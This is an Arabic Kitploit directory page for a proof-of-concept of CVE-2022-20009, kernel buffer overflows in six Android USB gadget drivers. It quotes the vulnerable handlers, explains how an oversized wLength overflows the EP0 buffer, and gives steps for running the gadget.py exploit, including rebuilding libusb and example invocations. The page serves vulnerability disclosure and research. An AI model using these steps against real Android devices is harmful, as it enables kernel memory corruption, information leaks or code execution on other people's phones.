Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
android-gadget — CVE-2022-20009 - وصف واستغلال عينة لـ Android USB Gadgets | Kitploit
أدوات/GitHubGitHub/szymonh/android-gadget
أمان أندرويدأمان الأنظمة المدمجةتحليل الثغرات الأمنيةالاستغلالأمن الأجهزةاستغلال الملفات الثنائية
GitHubszymonh/android-gadget

android-gadget

CVE-2022-20009 - وصف واستغلال عينة لـ Android USB Gadgets

عرض المستودع
53منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أداة أندرويد-جادجت

ملخص

بعض إصدارات نواة لينكس المستخدمة في أندرويد تتأثر بالمشكلة CVE-2021-39685. يمكن العثور على معلومات مفصلة وإثبات المفهوم لـ CVE-2021-39685 في مستودع inspector-gadget.

يحتوي هذا المستودع على إثبات المفهوم الذي يستهدف بعض أجهزة USB الخاصة بأندرويد بما في ذلك:

  • f_accessory
  • f_audio_source
  • f_gsi
  • f_mtp
  • f_qc_rndis
  • f_rmnet

الوصف

أ) f_accessory

  • تم تخصيص مخزن EP0 المؤقت في composite.c بحجم USB_COMP_EP0_BUFSIZ (4096) بايت
  • معالج نقل التحكم الخاص بالدالة acc_ctrlrequest يقرأ ctrl->wLength إلى w_length
  • بالنسبة لـ bRequest ACCESSORY_SEND_STRING أو ACCESSORY_SEND_HID_EVENT يتم تعيين القيمة إلى w_length
  • يتم تعيين طول مرحلة نقل البيانات إلى cdev->req->length = value;
  • يؤدي نقل البيانات إلى تجاوز سعة المخزن المؤقت بمقدار wLength - 4096 بايت
  • كمية البيانات المكتوبة في وما بعد مخزن EP0 المؤقت يتحكم فيها المهاجم
root@kitploit:~
int acc_ctrlrequest(struct usb_composite_dev *cdev,
				const struct usb_ctrlrequest *ctrl)
{
	struct acc_dev	*dev = get_acc_dev();
	int	value = -EOPNOTSUPP;
	struct acc_hid_dev *hid;
	int offset;
	u8 b_requestType = ctrl->bRequestType;
	u8 b_request = ctrl->bRequest;
	u16	w_index = le16_to_cpu(ctrl->wIndex);
	u16	w_value = le16_to_cpu(ctrl->wValue);
	u16	w_length = le16_to_cpu(ctrl->wLength);
	unsigned long flags;
    ...
	if (b_requestType == (USB_DIR_OUT | USB_TYPE_VENDOR)) {
        ...
        } else if (b_request == ACCESSORY_SEND_STRING) {
			dev_info(&cdev->gadget->dev, "%s: got ACCESSORY_SEND_STRING(52) request\n",
				__func__);
			schedule_work(&dev->sendstring_work);
			dev->string_index = w_index;
			cdev->gadget->ep0->driver_data = dev;
			cdev->req->complete = acc_complete_set_string;
			value = w_length;
            ...
		} else if (b_request == ACCESSORY_SEND_HID_EVENT) {
			spin_lock_irqsave(&dev->lock, flags);
			hid = acc_hid_get(&dev->hid_list, w_value);
			spin_unlock_irqrestore(&dev->lock, flags);
			if (!hid) {
				value = -EINVAL;
				goto err;
			}
			cdev->req->context = hid;
			cdev->req->complete = acc_complete_send_hid_event;
			value = w_length;
		}
...
	if (value >= 0) {
		cdev->req->zero = 0;
		cdev->req->length = value;
		value = usb_ep_queue(cdev->gadget->ep0, cdev->req, GFP_ATOMIC);
		if (value < 0)
			ERROR(cdev, "%s setup response queue error\n",
				__func__);
	}

ب) f_audio_source

  • تم تخصيص مخزن EP0 المؤقت في composite.c بحجم USB_COMP_EP0_BUFSIZ (4096) بايت
  • معالج نقل التحكم الخاص بالدالة audio_setup يقرأ ctrl->wLength إلى w_length
  • بالنسبة لـ bRequestType المطابق للشرط USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT يتم تعيين المتغير value إلى القيمة المُعادة من audio_set_endpoint_req
  • audio_set_endpoint_req تُرجع wLength لـ bRequest المساوي لـ UAC_SET_CUR أو UAC_SET_MIN أو UAC_SET_MAX أو UAC_SET_RES
  • يتم تعيين طول مرحلة نقل البيانات إلى value; req->length = value;
  • يؤدي نقل البيانات إلى تجاوز سعة المخزن المؤقت بمقدار wLength - 4096 بايت
  • كمية البيانات المكتوبة في وما بعد مخزن EP0 المؤقت يتحكم فيها المهاجم
root@kitploit:~
static int
audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
	struct usb_composite_dev *cdev = f->config->cdev;
	struct usb_request *req = cdev->req;
	int value = -EOPNOTSUPP;
	u16 w_index = le16_to_cpu(ctrl->wIndex);
	u16 w_value = le16_to_cpu(ctrl->wValue);
	u16 w_length = le16_to_cpu(ctrl->wLength);

    /* composite driver infrastructure handles everything; interface
	 * activation uses set_alt().
	 */
	switch (ctrl->bRequestType) {
	case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
		value = audio_set_endpoint_req(f, ctrl);
		break;
	case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
		value = audio_get_endpoint_req(f, ctrl);
		break;
	}
	/* respond with data transfer or status phase? */
	if (value >= 0) {
		pr_debug("audio req%02x.%02x v%04x i%04x l%d\n",
			ctrl->bRequestType, ctrl->bRequest,
			w_value, w_index, w_length);
		req->zero = 0;
		req->length = value;
		req->complete = audio_control_complete;
		value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
		if (value < 0)
			pr_err("audio response on err %d\n", value);
	}
root@kitploit:~
static int audio_set_endpoint_req(struct usb_function *f,
		const struct usb_ctrlrequest *ctrl)
{
	int value = -EOPNOTSUPP;
	u16 ep = le16_to_cpu(ctrl->wIndex);
	u16 len = le16_to_cpu(ctrl->wLength);
	u16 w_value = le16_to_cpu(ctrl->wValue);
	pr_debug("bRequest 0x%x, w_value 0x%04x, len %d, endpoint %d\n",
			ctrl->bRequest, w_value, len, ep);
	switch (ctrl->bRequest) {
	case UAC_SET_CUR:
	case UAC_SET_MIN:
	case UAC_SET_MAX:
	case UAC_SET_RES:
		value = len;
		break;
	default:
		break;
	}
	return value;
}

ج) f_gsi

  • تم تخصيص مخزن EP0 المؤقت في composite.c بحجم USB_COMP_EP0_BUFSIZ (4096) بايت
  • معالج نقل التحكم الخاص بالدالة gsi_setup يقرأ ctrl->wLength إلى المتغير w_length
  • بالنسبة لـ bRequest المضبوط على USB_CDC_SEND_ENCAPSULATED_COMMAND يتم تعيين value إلى w_length
  • يتم تعيين طول مرحلة نقل البيانات إلى value; req->length = value;
  • يؤدي نقل البيانات إلى تجاوز سعة المخزن المؤقت بمقدار wLength - 4096 بايت
  • كمية البيانات المكتوبة في وما بعد مخزن EP0 المؤقت يتحكم فيها المهاجم
root@kitploit:~
static int
gsi_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
	struct f_gsi *gsi = func_to_gsi(f);
	struct usb_composite_dev *cdev = f->config->cdev;
	struct usb_request *req = cdev->req;
	int id, value = -EOPNOTSUPP;
	u16 w_index = le16_to_cpu(ctrl->wIndex);
	u16 w_value = le16_to_cpu(ctrl->wValue);
	u16 w_length = le16_to_cpu(ctrl->wLength);
	struct gsi_ctrl_pkt *cpkt;
	u8 *buf;
	u32 n;
	bool line_state;
    ...
    switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
    ...
	case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
			| USB_CDC_SEND_ENCAPSULATED_COMMAND:
		log_event_dbg("USB_CDC_SEND_ENCAPSULATED_COMMAND");
		if (w_value || w_index != id)
			goto invalid;
		/* read the request; process it later */
		value = w_length;
		req->context = gsi;
		if (gsi->prot_id == IPA_USB_RNDIS)
			req->complete = gsi_rndis_command_complete;
		else
			req->complete = gsi_ctrl_cmd_complete;
		/* later, rndis_response_available() sends a notification */
		break;
    ...
    ...
    /* respond with data transfer or status phase? */
	if (value >= 0) {
		log_event_dbg("req%02x.%02x v%04x i%04x l%d",
			ctrl->bRequestType, ctrl->bRequest,
			w_value, w_index, w_length);
		req->zero = (value < w_length);
		req->length = value;
		value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
		if (value < 0)
			log_event_err("response on err %d", value);
	}

د) f_mtp

  • تم تخصيص مخزن EP0 المؤقت في composite.c بحجم USB_COMP_EP0_BUFSIZ (4096) بايت
  • معالج نقل التحكم الخاص بالدالة mtp_ctrlrequest يقرأ ctrl->wLength إلى w_length
  • بالنسبة لـ bRequest المضبوط على MTP_REQ_CANCEL يتم تعيين value إلى w_length
  • يتم تعيين طول مرحلة نقل البيانات إلى value; req->length = value;
  • يؤدي نقل البيانات إلى تجاوز سعة المخزن المؤقت بمقدار wLength - 4096 بايت
  • كمية البيانات المكتوبة في وما بعد مخزن EP0 المؤقت يتحكم فيها المهاجم
root@kitploit:~
static int mtp_ctrlrequest(struct usb_composite_dev *cdev,
				const struct usb_ctrlrequest *ctrl)
{
	struct mtp_dev *dev = _mtp_dev;
	int	value = -EOPNOTSUPP;
	u16	w_index = le16_to_cpu(ctrl->wIndex);
	u16	w_value = le16_to_cpu(ctrl->wValue);
	u16	w_length = le16_to_cpu(ctrl->wLength);
	unsigned long	flags;
    ...
    	} else if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_CLASS) {
		mtp_log("class request: %d index: %d value: %d length: %d\n",
			ctrl->bRequest, w_index, w_value, w_length);
		if (ctrl->bRequest == MTP_REQ_CANCEL && w_index == 0
				&& w_value == 0) {
			mtp_log("MTP_REQ_CANCEL\n");
			spin_lock_irqsave(&dev->lock, flags);
			if (dev->state == STATE_BUSY) {
				dev->state = STATE_CANCELED;
				wake_up(&dev->read_wq);
				wake_up(&dev->write_wq);
			}
			spin_unlock_irqrestore(&dev->lock, flags);
			/* We need to queue a request to read the remaining
			 *  bytes, but we don't actually need to look at
			 * the contents.
			 */
			value = w_length;
    ...
    /* respond with data transfer or status phase? */
	if (value >= 0) {
		int rc;
		cdev->req->zero = value < w_length;
		cdev->req->length = value;
		rc = usb_ep_queue(cdev->gadget->ep0, cdev->req, GFP_ATOMIC);
		if (rc < 0)
			pr_err("%s: response queue error\n", __func__);
	}

هـ) f_qc_rndis

  • تم تخصيص مخزن EP0 المؤقت في composite.c بحجم USB_COMP_EP0_BUFSIZ (4096) بايت
  • معالج نقل التحكم الخاص بالدالة rndis_qc_setup يقرأ ctrl->wLength إلى w_length
  • بالنسبة لـ bRequest المضبوط على USB_CDC_SEND_ENCAPSULATED_COMMAND يتم تعيين value إلى w_length
  • يتم تعيين طول مرحلة نقل البيانات إلى value; req->length = value;
  • يؤدي نقل البيانات إلى تجاوز سعة المخزن المؤقت بمقدار wLength - 4096 بايت
  • كمية البيانات المكتوبة في وما بعد مخزن EP0 المؤقت يتحكم فيها المهاجم
root@kitploit:~
static int
rndis_qc_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
	struct f_rndis_qc		*rndis = func_to_rndis_qc(f);
	struct usb_composite_dev *cdev = f->config->cdev;
	struct usb_request	*req = cdev->req;
	int			value = -EOPNOTSUPP;
	u16			w_index = le16_to_cpu(ctrl->wIndex);
	u16			w_value = le16_to_cpu(ctrl->wValue);
	u16			w_length = le16_to_cpu(ctrl->wLength);
    ...
	switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
	/* RNDIS uses the CDC command encapsulation mechanism to implement
	 * an RPC scheme, with much getting/setting of attributes by OID.
	 */
	case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
			| USB_CDC_SEND_ENCAPSULATED_COMMAND:
		if (w_value || w_index != rndis->ctrl_id)
			goto invalid;
		/* read the request; process it later */
		value = w_length;
		req->complete = rndis_qc_command_complete;
		/* later, rndis_response_available() sends a notification */
		break;
    ...
	/* respond with data transfer or status phase? */
	if (value >= 0) {
		DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
			ctrl->bRequestType, ctrl->bRequest,
			w_value, w_index, w_length);
		req->context = rndis;
		req->zero = (value < w_length);
		req->length = value;
		value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
		if (value < 0)
			pr_err("rndis response on err %d\n", value);
	}

و) f_rmnet

  • تم تخصيص مخزن EP0 المؤقت في composite.c بحجم USB_COMP_EP0_BUFSIZ (4096) بايت
  • معالج نقل التحكم الخاص بالدالة frmnet_setup يقرأ ctrl->wLength إلى w_length
  • بالنسبة لـ bRequest المضبوط على USB_CDC_SEND_ENCAPSULATED_COMMAND يتم تعيين ret إلى w_length
  • يتم تعيين طول مرحلة نقل البيانات إلى ret; req->length = ret;
  • يؤدي نقل البيانات إلى تجاوز سعة المخزن المؤقت بمقدار wLength - 4096 بايت
  • كمية البيانات المكتوبة في وما بعد مخزن EP0 المؤقت يتحكم فيها المهاجم
root@kitploit:~
static int
frmnet_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
	struct f_rmnet			*dev = func_to_rmnet(f);
	struct usb_composite_dev	*cdev = dev->cdev;
	struct usb_request		*req = cdev->req;
	u16				w_index = le16_to_cpu(ctrl->wIndex);
	u16				w_value = le16_to_cpu(ctrl->wValue);
	u16				w_length = le16_to_cpu(ctrl->wLength);
	int				ret = -EOPNOTSUPP;
    ...

	switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
	case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
			| USB_CDC_SEND_ENCAPSULATED_COMMAND:
		pr_debug("%s: USB_CDC_SEND_ENCAPSULATED_COMMAND\n"
				 , __func__);
		ret = w_length;
		req->complete = frmnet_cmd_complete;
		req->context = dev;
		break;
    ...
    /* respond with data transfer or status phase? */
	if (ret >= 0) {
		VDBG(cdev, "rmnet req%02x.%02x v%04x i%04x l%d\n",
			ctrl->bRequestType, ctrl->bRequest,
			w_value, w_index, w_length);
		req->zero = (ret < w_length);
		req->length = ret;
		ret = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
		if (ret < 0)
			ERROR(cdev, "rmnet ep0 enqueue err %d\n", ret);
	}

التأثير

قد تتأثر الأجهزة التي تنفذ فئات أدوات USB المتأثرة (f_accessory, f_audio_source, f_gsi, f_mtp, f_qc_rndis, f_rmnet) بثغرات تجاوز سعة المخزن المؤقت مما يؤدي إلى كشف المعلومات، أو رفض الخدمة، أو تنفيذ كود عشوائي في سياق النواة.

CVE

CVE-2022-20009

استغلال الثغرة

يتطلب إصدار طلبات نقل تحكم مع wLength أكبر من 4096 بايت القياسية أن يستخدم المضيف بناءً مخصصًا من libusb مع زيادة MAX_CTRL_BUFFER_LENGTH إلى 0xffff. يمكن تغيير هذه القيمة في libusb/os/linux_usbfs.h قبل البناء.

يتطلب سكربت gadget.py مكتبة pyusb. يمكنك تثبيت هذه الحزمة عبر pip كما يلي.

python3 -m pip install pyusb

يمكن الوصول إلى المساعدة باستخدام المعاملات -h أو --help.

root@kitploit:~
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}] [-f {accessory,audio_source,gsi,qc_rndis,rmnet,mtp}]

Sample exploit for CVE-2022-20009

optional arguments:
  -h, --help            show this help message and exit
  -v VID, --vid VID     vendor id
  -p PID, --pid PID     product id
  -l LENGTH, --length LENGTH
                        lenght of data to write
  -d {read,write}, --direction {read,write}
                        direction of operation from host perspective
  -f {accessory,audio_source,gsi,qc_rndis,rmnet,mtp}, --function {accessory,audio_source,gsi,qc_rndis,rmnet,mtp}

أمثلة على الاستدعاء:

root@kitploit:~
./gadget.py -v 0x1b67 -p 0x400c -f audio_source
./gadget.py -v 0x18d1 -p 0x4e23 -f mtp

ملاحظات أخيرة

يرجى تحديث جهاز أندرويد الخاص بك إلى أحدث إصدار مستقر.

تنزيل الأداة